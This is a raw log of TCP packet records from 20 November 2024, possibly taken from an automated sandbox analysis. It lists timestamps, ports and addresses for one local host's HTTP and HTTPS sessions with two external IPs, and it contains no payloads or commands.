Nov 20, 2024 17:18:14.850716114 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.850734949 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.850795031 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.853221893 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.853276014 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.853281975 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.853322983 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.857064962 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.857131958 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.857148886 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.857198000 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.861188889 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.861248016 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.861257076 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.861295938 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.864773035 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.864837885 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.864877939 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.864928007 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.868541002 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.868674040 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.868690014 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.868717909 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.872318983 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.872390032 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.872421980 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.872462034 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.876219034 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.876301050 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.876419067 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.876544952 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.880002022 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.880064011 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.880108118 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.880175114 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.883857012 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.883930922 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.883929968 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.883975029 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.887646914 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.887728930 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.887794971 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.887845993 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.891412973 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.891521931 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.891550064 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.891582012 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.895205975 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.895256042 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.895294905 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.895332098 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.899030924 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.899087906 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.899115086 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.899331093 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.902916908 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.903212070 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:19.189191103 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:19.189271927 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:20.773794889 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:20.773829937 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:20.773931026 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:20.844932079 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:20.844958067 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:22.593180895 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:22.688019037 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:22.688147068 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:22.690665960 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:22.690675020 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:22.691168070 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:22.704199076 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:22.747354984 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.078716993 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.078748941 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.078840971 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.078918934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.078978062 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.110938072 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.110949993 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.111032009 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.111074924 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.156392097 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.279520035 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.279532909 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.279614925 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.279654980 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.304234982 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.304357052 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.304375887 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.326719046 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.326730013 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.326816082 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.326834917 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.349435091 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.349445105 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.349579096 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.349598885 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.349653006 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.382589102 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.382600069 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.382684946 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.382720947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.437643051 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.484046936 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.484059095 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.484095097 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.484137058 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.484193087 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.509527922 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.509543896 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.509566069 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.509620905 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.509681940 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.526721001 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.526735067 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.526762009 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.526791096 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.526829004 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.539172888 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.539181948 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.539241076 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.539253950 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.559123039 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.559158087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.559192896 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.559211969 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.559237957 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.571501970 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.571542025 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.571578979 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.571594954 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.571624041 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.580571890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.580626011 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.580670118 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.580691099 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.580722094 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.600872040 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.600956917 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.600960970 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.600982904 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.601017952 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.656384945 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.691987038 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.692001104 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.692028046 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.692069054 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.692118883 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.702851057 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.702862978 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.702938080 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.702964067 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.709088087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.709108114 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.709162951 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.709178925 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.709214926 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.720849991 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.720906973 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.720940113 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.720948935 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.720982075 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.728358984 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.728427887 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.728471994 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.728491068 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.728528976 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.733417988 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.733442068 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.733499050 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.733509064 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.733546019 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.739715099 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.739795923 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.739804029 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.744716883 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.744808912 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.744817972 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.751246929 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.751393080 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.751401901 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.755594969 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.755676031 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.755683899 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.761997938 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.762099981 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.762115002 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.769315004 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.769391060 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.769399881 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.771998882 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.772099018 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.772113085 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.807013988 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.807130098 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.807158947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.859499931 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.885454893 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.885481119 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.885519028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.885554075 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.885623932 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.885643005 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.889137983 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.889156103 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.889194012 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.889235973 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.889255047 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.889290094 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.894634962 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.894668102 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.894721985 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.894737005 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.894788027 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.899120092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.899167061 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.899194002 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.899204016 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.899228096 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.903065920 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.903157949 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.903167009 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.908261061 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.908350945 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.908359051 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.912199020 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.912281990 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.912296057 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.916240931 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.916316032 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.916330099 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.921511889 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.921587944 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.921602964 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.926000118 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.926069021 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.926076889 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.930193901 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.930263996 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.930270910 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.934461117 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.934525013 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.934533119 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.936966896 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.937035084 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.937042952 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.939898968 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.939981937 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.939990044 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.943584919 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.943655968 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.943664074 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.946161032 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:23.946228981 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:23.946237087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.000159025 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.086663961 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.086687088 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.086783886 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.086807966 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.089281082 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.089301109 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.089381933 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.089391947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.092005014 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.092026949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.092094898 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.092107058 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.095638037 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.095711946 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.095719099 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.095729113 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.095772982 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.098314047 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.098403931 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.098412037 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.101984024 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.102066994 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.102075100 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.104866028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.104926109 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.104933023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.107517004 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.107584953 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.107593060 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.111073017 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.111263990 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.111274004 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.113374949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.113483906 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.113500118 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.117019892 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.117094994 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.117109060 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.119847059 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.119920015 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.119935989 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.123464108 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.123567104 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.123588085 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.126127005 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.126214027 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.126229048 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.128952980 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.129040003 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.129055023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.132524967 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.132606030 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.132613897 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.187649965 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.287638903 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.287648916 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.287753105 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.287789106 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.291946888 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.291959047 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.292040110 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.292057991 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.296351910 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.296360970 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.296423912 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.296437979 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.298265934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.298274040 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.298347950 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.298362017 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.300513983 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.300556898 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.300580025 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.300597906 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.300625086 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.303024054 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.303108931 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.303122997 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.305818081 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.305886984 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.305900097 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.309693098 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.309763908 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.309777021 CET	443	49713	142.215.209.78	192.168.2.7
